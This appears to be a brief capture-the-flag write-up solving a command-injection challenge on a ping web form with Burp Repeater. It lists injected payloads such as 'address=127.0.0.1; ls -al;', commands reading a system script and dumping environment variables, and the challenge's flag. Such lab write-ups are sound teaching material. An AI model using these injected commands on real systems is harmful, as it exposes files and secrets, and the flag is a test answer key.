

**Task 1:**

1. Start Burp
2. Open the ping website
3. Try ping ip address 127.0.0.1
4. We can see some command lines, so we can execute commands
5. Go to Burp and use the repeater
6. To get all files (also the hidden files) use: 'address=127.0.0.1; ls -al;' All files are displayed (Read.md)
7. Use: 'address=127.0.0.1; cat Read.md' and we can see the line with the path ('/etc/cont-init.d/99-add-flag.sh')
8. Use: 'address=127.0.0.1; cat /etc/cont-init.d/99-add-flag;' In the file there is if statement, if the flag is in environment or not. Suggestion: Flag is in the environment
9. Use: 'address=127.0.0.1; env;' Solution: FLAG=FLAG{ThePwr0fTheS3m1}